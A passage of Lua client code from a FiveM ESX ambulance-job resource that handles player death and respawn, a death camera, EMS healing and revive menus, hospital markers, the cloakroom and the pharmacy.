| 295 | if bleedoutTimer < 1 and isDead then 296 | RemoveItemsAfterRPDeath() 297 | end 298 | end) 299 | end 300 | 301 | function GetClosestRespawnPoint() 302 | local PlyCoords = GetEntityCoords(PlayerPedId()) 303 | local ClosestDist, ClosestHospital, ClosestCoord = 10000, {}, nil 304 | 305 | for k, v in pairs(Config.RespawnPoints) do 306 | local Distance = #(PlyCoords - vector3(v.coords.x, v.coords.y, v.coords.z)) 307 | if Distance <= ClosestDist then 308 | ClosestDist = Distance 309 | ClosestHospital = v 310 | ClosestCoord = vector3(v.coords.x, v.coords.y, v.coords.z) 311 | end 312 | end 313 | 314 | return ClosestCoord, ClosestHospital 315 | end 316 | 317 | function RemoveItemsAfterRPDeath() 318 | TriggerServerEvent('esx_ambulancejob:setDeathStatus', false) 319 | 320 | CreateThread(function() 321 | ESX.TriggerServerCallback('esx_ambulancejob:removeItemsAfterRPDeath', function() 322 | local RespawnCoords, ClosestHospital = GetClosestRespawnPoint() 323 | 324 | ESX.SetPlayerData('loadout', {}) 325 | 326 | DoScreenFadeOut(800) 327 | RespawnPed(PlayerPedId(), RespawnCoords, ClosestHospital.heading) 328 | while not IsScreenFadedOut() do 329 | Wait(0) 330 | end 331 | DoScreenFadeIn(800) 332 | end) 333 | end) 334 | end 335 | 336 | function RespawnPed(ped, coords, heading) 337 | SetEntityCoordsNoOffset(ped, coords.x, coords.y, coords.z, false, false, false) 338 | NetworkResurrectLocalPlayer(coords.x, coords.y, coords.z, heading, true, false) 339 | SetPlayerInvincible(ped, false) 340 | ClearPedBloodDamage(ped) 341 | 342 | TriggerServerEvent('esx:onPlayerSpawn') 343 | TriggerEvent('esx:onPlayerSpawn') 344 | TriggerEvent('playerSpawned') -- compatibility with old scripts, will be removed soon 345 | end 346 | 347 | RegisterNetEvent('esx_phone:loaded') 348 | AddEventHandler('esx_phone:loaded', function(phoneNumber, contacts) 349 | local specialContact = {name = 'Ambulance', number = 'ambulance', 350 | base64Icon = 'data:image/png;base64,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'} 351 | 352 | TriggerEvent('esx_phone:addSpecialContact', specialContact.name, specialContact.number, specialContact.base64Icon) 353 | end) 354 | 355 | AddEventHandler('esx:onPlayerDeath', function(data) 356 | OnPlayerDeath() 357 | end) 358 | 359 | RegisterNetEvent('esx_ambulancejob:revive') 360 | AddEventHandler('esx_ambulancejob:revive', function() 361 | local playerPed = PlayerPedId() 362 | local coords = GetEntityCoords(playerPed) 363 | TriggerServerEvent('esx_ambulancejob:setDeathStatus', false) 364 | 365 | DoScreenFadeOut(800) 366 | 367 | while not IsScreenFadedOut() do 368 | Wait(50) 369 | end 370 | 371 | local formattedCoords = {x = ESX.Math.Round(coords.x, 1), y = ESX.Math.Round(coords.y, 1), z = ESX.Math.Round(coords.z, 1)} 372 | 373 | RespawnPed(playerPed, formattedCoords, 0.0) 374 | isDead = false 375 | ClearTimecycleModifier() 376 | SetPedMotionBlur(playerPed, false) 377 | ClearExtraTimecycleModifier() 378 | EndDeathCam() 379 | DoScreenFadeIn(800) 380 | end) 381 | 382 | -- Load unloaded IPLs 383 | if Config.LoadIpl then 384 | RequestIpl('Coroner_Int_on') -- Morgue 385 | end 386 | 387 | local cam = nil 388 | 389 | local isDead = false 390 | 391 | local angleY = 0.0 392 | 393 | local angleZ = 0.0 394 | 395 | ------------------------------------------------------- 396 | 397 | -----------------DEATH CAMERA FUNCTIONS --------------- 398 | 399 | -------------------------------------------------------- 400 | 401 | -- initialize camera 402 | 403 | function StartDeathCam() 404 | ClearFocus() 405 | local playerPed = PlayerPedId() 406 | cam = CreateCamWithParams("DEFAULT_SCRIPTED_CAMERA", GetEntityCoords(playerPed), 0, 0, 0, GetGameplayCamFov()) 407 | SetCamActive(cam, true) 408 | RenderScriptCams(true, true, 1000, true, false) 409 | end 410 | 411 | -- destroy camera 412 | 413 | function EndDeathCam() 414 | ClearFocus() 415 | RenderScriptCams(false, false, 0, true, false) 416 | DestroyCam(cam, false) 417 | cam = nil 418 | end 419 | -- process camera controls 420 | function ProcessCamControls() 421 | local playerPed = PlayerPedId() 422 | local playerCoords = GetEntityCoords(playerPed) 423 | -- disable 1st person as the 1st person camera can cause some glitches 424 | DisableFirstPersonCamThisFrame() 425 | -- calculate new position 426 | local newPos = ProcessNewPosition() 427 | SetFocusArea(newPos.x, newPos.y, newPos.z, 0.0, 0.0, 0.0) 428 | -- set coords of cam 429 | SetCamCoord(cam, newPos.x, newPos.y, newPos.z) 430 | -- set rotation 431 | PointCamAtCoord(cam, playerCoords.x, playerCoords.y, playerCoords.z + 0.5) 432 | end 433 | 434 | function ProcessNewPosition() 435 | local mouseX = 0.0 436 | local mouseY = 0.0 437 | -- keyboard 438 | if (IsInputDisabled(0)) then 439 | -- rotation 440 | mouseX = GetDisabledControlNormal(1, 1) * 8.0 441 | 442 | mouseY = GetDisabledControlNormal(1, 2) * 8.0 443 | -- controller 444 | else 445 | mouseX = GetDisabledControlNormal(1, 1) * 1.5 446 | 447 | mouseY = GetDisabledControlNormal(1, 2) * 1.5 448 | end 449 | 450 | angleZ = angleZ - mouseX -- around Z axis (left / right) 451 | 452 | angleY = angleY + mouseY -- up / down 453 | -- limit up / down angle to 90° 454 | 455 | if (angleY > 89.0) then 456 | angleY = 89.0 457 | elseif (angleY < -89.0) then 458 | angleY = -89.0 459 | end 460 | local pCoords = GetEntityCoords(PlayerPedId()) 461 | local behindCam = {x = pCoords.x + ((Cos(angleZ) * Cos(angleY)) + (Cos(angleY) * Cos(angleZ))) / 2 * (5.5 + 0.5), 462 | 463 | y = pCoords.y + ((Sin(angleZ) * Cos(angleY)) + (Cos(angleY) * Sin(angleZ))) / 2 * (5.5 + 0.5), 464 | 465 | z = pCoords.z + ((Sin(angleY))) * (5.5 + 0.5)} 466 | local rayHandle = StartShapeTestRay(pCoords.x, pCoords.y, pCoords.z + 0.5, behindCam.x, behindCam.y, behindCam.z, -1, PlayerPedId(), 0) 467 | 468 | local a, hitBool, hitCoords, surfaceNormal, entityHit = GetShapeTestResult(rayHandle) 469 | 470 | local maxRadius = 1.9 471 | if (hitBool and Vdist(pCoords.x, pCoords.y, pCoords.z + 0.5, hitCoords) < 5.5 + 0.5) then 472 | maxRadius = Vdist(pCoords.x, pCoords.y, pCoords.z + 0.5, hitCoords) 473 | end 474 | 475 | local offset = {x = ((Cos(angleZ) * Cos(angleY)) + (Cos(angleY) * Cos(angleZ))) / 2 * maxRadius, 476 | y = ((Sin(angleZ) * Cos(angleY)) + (Cos(angleY) * Sin(angleZ))) / 2 * maxRadius, z = ((Sin(angleY))) * maxRadius} 477 | 478 | local pos = {x = pCoords.x + offset.x, y = pCoords.y + offset.y, z = pCoords.z + offset.z} 479 | 480 | return pos 481 | end 482 | -------------------------------------------------------------------------------- /client/job.lua: -------------------------------------------------------------------------------- 1 | local CurrentAction, CurrentActionMsg, CurrentActionData = nil, '', {} 2 | local HasAlreadyEnteredMarker, LastHospital, LastPart, LastPartNum 3 | local isBusy, deadPlayers, deadPlayerBlips, isOnDuty = false, {}, {}, false 4 | isInShopMenu = false 5 | 6 | RegisterNetEvent('esx:playerLoaded') 7 | AddEventHandler('esx:playerLoaded', function(xPlayer) 8 | ESX.PlayerData = xPlayer 9 | ESX.PlayerLoaded = true 10 | end) 11 | 12 | 13 | function OpenAmbulanceActionsMenu() 14 | local elements = {{label = TranslateCap('cloakroom'), value = 'cloakroom'}} 15 | 16 | if Config.EnablePlayerManagement and ESX.PlayerData.job.grade_name == 'boss' then 17 | table.insert(elements, {label = TranslateCap('boss_actions'), value = 'boss_actions'}) 18 | end 19 | 20 | ESX.UI.Menu.CloseAll() 21 | 22 | ESX.UI.Menu.Open('default', GetCurrentResourceName(), 'ambulance_actions', { 23 | title = TranslateCap('ambulance'), 24 | align = 'top-left', 25 | elements = elements 26 | }, function(data, menu) 27 | if data.current.value == 'cloakroom' then 28 | OpenCloakroomMenu() 29 | elseif data.current.value == 'boss_actions' then 30 | TriggerEvent('esx_society:openBossMenu', 'ambulance', function(data, menu) 31 | menu.close() 32 | end, {wash = false}) 33 | end 34 | end, function(data, menu) 35 | menu.close() 36 | end) 37 | end 38 | 39 | function OpenMobileAmbulanceActionsMenu() 40 | ESX.UI.Menu.CloseAll() 41 | 42 | ESX.UI.Menu.Open('default', GetCurrentResourceName(), 'mobile_ambulance_actions', { 43 | title = TranslateCap('ambulance'), 44 | align = 'top-left', 45 | elements = { 46 | {label = TranslateCap('ems_menu'), value = 'citizen_interaction'} 47 | }}, function(data, menu) 48 | if data.current.value == 'citizen_interaction' then 49 | ESX.UI.Menu.Open('default', GetCurrentResourceName(), 'citizen_interaction', { 50 | title = TranslateCap('ems_menu_title'), 51 | align = 'top-left', 52 | elements = { 53 | {label = TranslateCap('ems_menu_revive'), value = 'revive'}, 54 | {label = TranslateCap('ems_menu_small'), value = 'small'}, 55 | {label = TranslateCap('ems_menu_big'), value = 'big'}, 56 | {label = TranslateCap('ems_menu_putincar'), value = 'put_in_vehicle'}, 57 | {label = TranslateCap('ems_menu_search'), value = 'search'} 58 | }}, function(data, menu) 59 | if isBusy then return end 60 | 61 | local closestPlayer, closestDistance = ESX.Game.GetClosestPlayer() 62 | 63 | if data.current.value == 'search' then 64 | TriggerServerEvent('esx_ambulancejob:svsearch') 65 | elseif closestPlayer == -1 or closestDistance > 1.0 then 66 | ESX.ShowNotification(TranslateCap('no_players')) 67 | else 68 | if data.current.value == 'revive' then 69 | revivePlayer(closestPlayer) 70 | elseif data.current.value == 'small' then 71 | ESX.TriggerServerCallback('esx_ambulancejob:getItemAmount', function(quantity) 72 | if quantity > 0 then 73 | local closestPlayerPed = GetPlayerPed(closestPlayer) 74 | local health = GetEntityHealth(closestPlayerPed) 75 | 76 | if health > 0 then 77 | local playerPed = PlayerPedId() 78 | 79 | isBusy = true 80 | ESX.ShowNotification(TranslateCap('heal_inprogress')) 81 | TaskStartScenarioInPlace(playerPed, 'CODE_HUMAN_MEDIC_TEND_TO_DEAD', 0, true) 82 | Wait(10000) 83 | ClearPedTasks(playerPed) 84 | 85 | TriggerServerEvent('esx_ambulancejob:removeItem', 'bandage') 86 | TriggerServerEvent('esx_ambulancejob:heal', GetPlayerServerId(closestPlayer), 'small') 87 | ESX.ShowNotification(TranslateCap('heal_complete', GetPlayerName(closestPlayer))) 88 | isBusy = false 89 | else 90 | ESX.ShowNotification(TranslateCap('player_not_conscious')) 91 | end 92 | else 93 | ESX.ShowNotification(TranslateCap('not_enough_bandage')) 94 | end 95 | end, 'bandage') 96 | 97 | elseif data.current.value == 'big' then 98 | 99 | ESX.TriggerServerCallback('esx_ambulancejob:getItemAmount', function(quantity) 100 | if quantity > 0 then 101 | local closestPlayerPed = GetPlayerPed(closestPlayer) 102 | local health = GetEntityHealth(closestPlayerPed) 103 | 104 | if health > 0 then 105 | local playerPed = PlayerPedId() 106 | 107 | isBusy = true 108 | ESX.ShowNotification(TranslateCap('heal_inprogress')) 109 | TaskStartScenarioInPlace(playerPed, 'CODE_HUMAN_MEDIC_TEND_TO_DEAD', 0, true) 110 | Wait(10000) 111 | ClearPedTasks(playerPed) 112 | 113 | TriggerServerEvent('esx_ambulancejob:removeItem', 'medikit') 114 | TriggerServerEvent('esx_ambulancejob:heal', GetPlayerServerId(closestPlayer), 'big') 115 | ESX.ShowNotification(TranslateCap('heal_complete', GetPlayerName(closestPlayer))) 116 | isBusy = false 117 | else 118 | ESX.ShowNotification(TranslateCap('player_not_conscious')) 119 | end 120 | else 121 | ESX.ShowNotification(TranslateCap('not_enough_medikit')) 122 | end 123 | end, 'medikit') 124 | 125 | elseif data.current.value == 'put_in_vehicle' then 126 | TriggerServerEvent('esx_ambulancejob:putInVehicle', GetPlayerServerId(closestPlayer)) 127 | end 128 | end 129 | end, function(data, menu) 130 | menu.close() 131 | end) 132 | end 133 | 134 | end, function(data, menu) 135 | menu.close() 136 | end) 137 | end 138 | 139 | function revivePlayer(closestPlayer) 140 | isBusy = true 141 | 142 | ESX.TriggerServerCallback('esx_ambulancejob:getItemAmount', function(quantity) 143 | if quantity > 0 then 144 | local closestPlayerPed = GetPlayerPed(closestPlayer) 145 | 146 | if IsPedDeadOrDying(closestPlayerPed, 1) then 147 | local playerPed = PlayerPedId() 148 | local lib, anim = 'mini@cpr@char_a@cpr_str', 'cpr_pumpchest' 149 | ESX.ShowNotification(TranslateCap('revive_inprogress')) 150 | 151 | for i=1, 15 do 152 | Wait(900) 153 | 154 | ESX.Streaming.RequestAnimDict(lib, function() 155 | TaskPlayAnim(playerPed, lib, anim, 8.0, -8.0, -1, 0, 0.0, false, false, false) 156 | RemoveAnimDict(lib) 157 | end) 158 | end 159 | 160 | TriggerServerEvent('esx_ambulancejob:removeItem', 'medikit') 161 | TriggerServerEvent('esx_ambulancejob:revive', GetPlayerServerId(closestPlayer)) 162 | else 163 | ESX.ShowNotification(TranslateCap('player_not_unconscious')) 164 | end 165 | else 166 | ESX.ShowNotification(TranslateCap('not_enough_medikit')) 167 | end 168 | isBusy = false 169 | end, 'medikit') 170 | end 171 | 172 | function FastTravel(coords, heading) 173 | local playerPed = PlayerPedId() 174 | 175 | DoScreenFadeOut(800) 176 | 177 | while not IsScreenFadedOut() do 178 | Wait(500) 179 | end 180 | 181 | ESX.Game.Teleport(playerPed, coords, function() 182 | DoScreenFadeIn(800) 183 | 184 | if heading then 185 | SetEntityHeading(playerPed, heading) 186 | end 187 | end) 188 | end 189 | 190 | -- Draw markers & Marker logic 191 | CreateThread(function() 192 | while true do 193 | local sleep = 1500 194 | 195 | if ESX.PlayerData.job and ESX.PlayerData.job.name == 'ambulance' then 196 | local playerCoords = GetEntityCoords(PlayerPedId()) 197 | local isInMarker, hasExited = false, false 198 | local currentHospital, currentPart, currentPartNum 199 | 200 | for hospitalNum,hospital in pairs(Config.Hospitals) do 201 | -- Ambulance Actions 202 | for k,v in ipairs(hospital.AmbulanceActions) do 203 | local distance = #(playerCoords - v) 204 | 205 | if distance < Config.DrawDistance then 206 | sleep = 0 207 | DrawMarker(Config.Marker.type, v, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, Config.Marker.x, Config.Marker.y, Config.Marker.z, Config.Marker.r, Config.Marker.g, Config.Marker.b, Config.Marker.a, false, false, 2, Config.Marker.rotate, nil, nil, false) 208 | 209 | 210 | if distance < Config.Marker.x then 211 | isInMarker, currentHospital, currentPart, currentPartNum = true, hospitalNum, 'AmbulanceActions', k 212 | end 213 | end 214 | end 215 | 216 | -- Pharmacies 217 | for k,v in ipairs(hospital.Pharmacies) do 218 | local distance = #(playerCoords - v) 219 | 220 | if distance < Config.DrawDistance then 221 | sleep = 0 222 | DrawMarker(Config.Marker.type, v, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, Config.Marker.x, Config.Marker.y, Config.Marker.z, Config.Marker.r, Config.Marker.g, Config.Marker.b, Config.Marker.a, false, false, 2, Config.Marker.rotate, nil, nil, false) 223 | 224 | 225 | if distance < Config.Marker.x then 226 | isInMarker, currentHospital, currentPart, currentPartNum = true, hospitalNum, 'Pharmacy', k 227 | end 228 | end 229 | end 230 | 231 | -- Vehicle Spawners 232 | for k,v in ipairs(hospital.Vehicles) do 233 | local distance = #(playerCoords - v.Spawner) 234 | 235 | if distance < Config.DrawDistance then 236 | sleep = 0 237 | DrawMarker(v.Marker.type, v.Spawner, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, v.Marker.x, v.Marker.y, v.Marker.z, v.Marker.r, v.Marker.g, v.Marker.b, v.Marker.a, false, false, 2, v.Marker.rotate, nil, nil, false) 238 | 239 | 240 | if distance < v.Marker.x then 241 | isInMarker, currentHospital, currentPart, currentPartNum = true, hospitalNum, 'Vehicles', k 242 | end 243 | end 244 | end 245 | 246 | -- Helicopter Spawners 247 | for k,v in ipairs(hospital.Helicopters) do 248 | local distance = #(playerCoords - v.Spawner) 249 | 250 | if distance < Config.DrawDistance then 251 | sleep = 0 252 | DrawMarker(v.Marker.type, v.Spawner, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, v.Marker.x, v.Marker.y, v.Marker.z, v.Marker.r, v.Marker.g, v.Marker.b, v.Marker.a, false, false, 2, v.Marker.rotate, nil, nil, false) 253 | 254 | 255 | if distance < v.Marker.x then 256 | isInMarker, currentHospital, currentPart, currentPartNum = true, hospitalNum, 'Helicopters', k 257 | end 258 | end 259 | end 260 | 261 | -- Fast Travels (Prompt) 262 | for k,v in ipairs(hospital.FastTravelsPrompt) do 263 | local distance = #(playerCoords - v.From) 264 | 265 | if distance < Config.DrawDistance then 266 | sleep = 0 267 | DrawMarker(v.Marker.type, v.From, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, v.Marker.x, v.Marker.y, v.Marker.z, v.Marker.r, v.Marker.g, v.Marker.b, v.Marker.a, false, false, 2, v.Marker.rotate, nil, nil, false) 268 | 269 | 270 | if distance < v.Marker.x then 271 | isInMarker, currentHospital, currentPart, currentPartNum = true, hospitalNum, 'FastTravelsPrompt', k 272 | end 273 | end 274 | end 275 | end 276 | 277 | -- Logic for exiting & entering markers 278 | if isInMarker and not HasAlreadyEnteredMarker or (isInMarker and (LastHospital ~= currentHospital or LastPart ~= currentPart or LastPartNum ~= currentPartNum)) then 279 | if 280 | (LastHospital ~= nil and LastPart ~= nil and LastPartNum ~= nil) and 281 | (LastHospital ~= currentHospital or LastPart ~= currentPart or LastPartNum ~= currentPartNum) 282 | then 283 | TriggerEvent('esx_ambulancejob:hasExitedMarker', LastHospital, LastPart, LastPartNum) 284 | hasExited = true 285 | end 286 | 287 | HasAlreadyEnteredMarker, LastHospital, LastPart, LastPartNum = true, currentHospital, currentPart, currentPartNum 288 | 289 | TriggerEvent('esx_ambulancejob:hasEnteredMarker', currentHospital, currentPart, currentPartNum) 290 | end 291 | 292 | if not hasExited and not isInMarker and HasAlreadyEnteredMarker then 293 | HasAlreadyEnteredMarker = false 294 | TriggerEvent('esx_ambulancejob:hasExitedMarker', LastHospital, LastPart, LastPartNum) 295 | end 296 | end 297 | Wait(sleep) 298 | end 299 | end) 300 | 301 | AddEventHandler('esx_ambulancejob:hasEnteredMarker', function(hospital, part, partNum) 302 | if part == 'AmbulanceActions' then 303 | CurrentAction = part 304 | CurrentActionMsg = TranslateCap('actions_prompt') 305 | CurrentActionData = {} 306 | elseif part == 'Pharmacy' then 307 | CurrentAction = part 308 | CurrentActionMsg = TranslateCap('open_pharmacy') 309 | CurrentActionData = {} 310 | elseif part == 'Vehicles' then 311 | CurrentAction = part 312 | CurrentActionMsg = TranslateCap('garage_prompt') 313 | CurrentActionData = {hospital = hospital, partNum = partNum} 314 | elseif part == 'Helicopters' then 315 | CurrentAction = part 316 | CurrentActionMsg = TranslateCap('helicopter_prompt') 317 | CurrentActionData = {hospital = hospital, partNum = partNum} 318 | elseif part == 'FastTravelsPrompt' then 319 | local travelItem = Config.Hospitals[hospital][part][partNum] 320 | 321 | CurrentAction = part 322 | CurrentActionMsg = travelItem.Prompt 323 | CurrentActionData = {to = travelItem.To.coords, heading = travelItem.To.heading} 324 | end 325 | 326 | ESX.TextUI(CurrentActionMsg) 327 | end) 328 | 329 | AddEventHandler('esx_ambulancejob:hasExitedMarker', function(hospital, part, partNum) 330 | if not isInShopMenu then 331 | ESX.UI.Menu.CloseAll() 332 | end 333 | ESX.HideUI() 334 | CurrentAction = nil 335 | end) 336 | 337 | -- Key Controls 338 | CreateThread(function() 339 | while true do 340 | local sleep = 1500 341 | 342 | if CurrentAction then 343 | sleep = 0 344 | 345 | if IsControlJustReleased(0, 38) then 346 | if CurrentAction == 'AmbulanceActions' then 347 | OpenAmbulanceActionsMenu() 348 | elseif CurrentAction == 'Pharmacy' then 349 | OpenPharmacyMenu() 350 | elseif CurrentAction == 'Vehicles' then 351 | OpenVehicleSpawnerMenu('car', CurrentActionData.hospital, CurrentAction, CurrentActionData.partNum) 352 | elseif CurrentAction == 'Helicopters' then 353 | OpenVehicleSpawnerMenu('helicopter', CurrentActionData.hospital, CurrentAction, CurrentActionData.partNum) 354 | elseif CurrentAction == 'FastTravelsPrompt' then 355 | FastTravel(CurrentActionData.to, CurrentActionData.heading) 356 | end 357 | 358 | CurrentAction = nil 359 | end 360 | end 361 | 362 | local playerCoords, letSleep = GetEntityCoords(PlayerPedId()), true 363 | 364 | for hospitalNum,hospital in pairs(Config.Hospitals) do 365 | -- Fast Travels 366 | for k,v in ipairs(hospital.FastTravels) do 367 | local distance = #(playerCoords - v.From) 368 | 369 | if distance < Config.DrawDistance then 370 | sleep = 0 371 | DrawMarker(v.Marker.type, v.From, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, v.Marker.x, v.Marker.y, v.Marker.z, v.Marker.r, v.Marker.g, v.Marker.b, v.Marker.a, false, false, 2, v.Marker.rotate, nil, nil, false) 372 | 373 | 374 | if distance < v.Marker.x then 375 | FastTravel(v.To.coords, v.To.heading) 376 | end 377 | end 378 | end 379 | end 380 | Wait(sleep) 381 | end 382 | end) 383 | 384 | RegisterCommand("ambulance", function(src) 385 | if ESX.PlayerData.job and ESX.PlayerData.job.name == 'ambulance' and not ESX.PlayerData.dead then 386 | OpenMobileAmbulanceActionsMenu() 387 | end 388 | end) 389 | 390 | RegisterKeyMapping("ambulance", "Open Ambulance Actions Menu", "keyboard", "F6") 391 | 392 | RegisterNetEvent('esx_ambulancejob:putInVehicle') 393 | AddEventHandler('esx_ambulancejob:putInVehicle', function() 394 | local playerPed = PlayerPedId() 395 | local vehicle, distance = ESX.Game.GetClosestVehicle() 396 | 397 | if vehicle and distance < 5 then 398 | local maxSeats, freeSeat = GetVehicleMaxNumberOfPassengers(vehicle) 399 | 400 | for i=maxSeats - 1, 0, -1 do 401 | if IsVehicleSeatFree(vehicle, i) then 402 | freeSeat = i 403 | break 404 | end 405 | end 406 | 407 | if freeSeat then 408 | TaskWarpPedIntoVehicle(playerPed, vehicle, freeSeat) 409 | end 410 | end 411 | end) 412 | 413 | function OpenCloakroomMenu() 414 | ESX.UI.Menu.Open('default', GetCurrentResourceName(), 'cloakroom', { 415 | title = TranslateCap('cloakroom'), 416 | align = 'top-left', 417 | elements = { 418 | {label = TranslateCap('ems_clothes_civil'), value = 'citizen_wear'}, 419 | {label = TranslateCap('ems_clothes_ems'), value = 'ambulance_wear'}, 420 | }}, function(data, menu) 421 | if data.current.value == 'citizen_wear' then 422 | ESX.TriggerServerCallback('esx_skin:getPlayerSkin', function(skin, jobSkin) 423 | TriggerEvent('skinchanger:loadSkin', skin) 424 | isOnDuty = false 425 | 426 | for playerId,v in pairs(deadPlayerBlips) do 427 | RemoveBlip(v) 428 | deadPlayerBlips[playerId] = nil 429 | end 430 | deadPlayers = {} 431 | if Config.Debug then 432 | print("[^2INFO^7] Off Duty") 433 | end 434 | end) 435 | elseif data.current.value == 'ambulance_wear' then 436 | ESX.TriggerServerCallback('esx_skin:getPlayerSkin', function(skin, jobSkin) 437 | if skin.sex == 0 then 438 | TriggerEvent('skinchanger:loadClothes', skin, jobSkin.skin_male) 439 | else 440 | TriggerEvent('skinchanger:loadClothes', skin, jobSkin.skin_female) 441 | end 442 | 443 | isOnDuty = true 444 | ESX.TriggerServerCallback('esx_ambulancejob:getDeadPlayers', function(_deadPlayers) 445 | TriggerEvent('esx_ambulancejob:setDeadPlayers', _deadPlayers) 446 | end) 447 | if Config.Debug then 448 | print("[^2INFO^7] Player Sex |^5" .. tostring(skin.sex).."^7") 449 | print("[^2INFO^7] On Duty") 450 | end 451 | end) 452 | end 453 | 454 | menu.close() 455 | end, function(data, menu) 456 | menu.close() 457 | end) 458 | end 459 | 460 | function OpenPharmacyMenu() 461 | ESX.UI.Menu.CloseAll() 462 | 463 | ESX.UI.Menu.Open('default', GetCurrentResourceName(), 'pharmacy', { 464 | title = TranslateCap('pharmacy_menu_title'), 465 | align = 'top-left', 466 | elements = { 467 | {label = TranslateCap('pharmacy_take', TranslateCap('medikit')), item = 'medikit', type = 'slider', value = 1, min = 1, max = 100}, 468 | {label = TranslateCap('pharmacy_take', TranslateCap('bandage')), item = 'bandage', type = 'slider', value = 1, min = 1, max = 100} 469 | }}, function(data, menu) 470 | if Config.Debug then 471 | print("[^2INFO^7] Attempting to Give Item - ^5" .. tostring(data.current.item) .. "^7") 472 | end 473 | TriggerServerEvent('esx_ambulancejob:giveItem', data.current.item, data.current.value) 474 | end, function(data, menu) 475 | menu.close() 476 | end) 477 | end 478 | 479 | RegisterNetEvent('esx_ambulancejob:heal') 480 | AddEventHandler('esx_ambulancejob:heal', function(healType, quiet) 481 | local playerPed = PlayerPedId() 482 | local maxHealth = GetEntityMaxHealth(playerPed) 483 | 484 | if healType == 'small' then 485 | local health = GetEntityHealth(playerPed) 486 | local newHealth = math.min(maxHealth, math.floor(health + maxHealth / 8)) 487 | SetEntityHealth(playerPed, newHealth) 488 | elseif healType == 'big' then 489 | SetEntityHealth(playerPed, maxHealth) 490 | end 491 | 492 | if Config.Debug then 493 | print("[^2INFO^7] Healing Player - ^5" .. tostring(healType).. "^7") 494 | end 495 | if not quiet then 496 | ESX.ShowNotification(TranslateCap('healed')) 497 | end 498 | end) 499 | 500 | RegisterNetEvent('esx:setJob') 501 | AddEventHandler('esx:setJob', function(job) 502 | if isOnDuty and job.name ~= 'ambulance' then 503 | for playerId,v in pairs(deadPlayerBlips) do 504 | if Config.Debug then 505 | 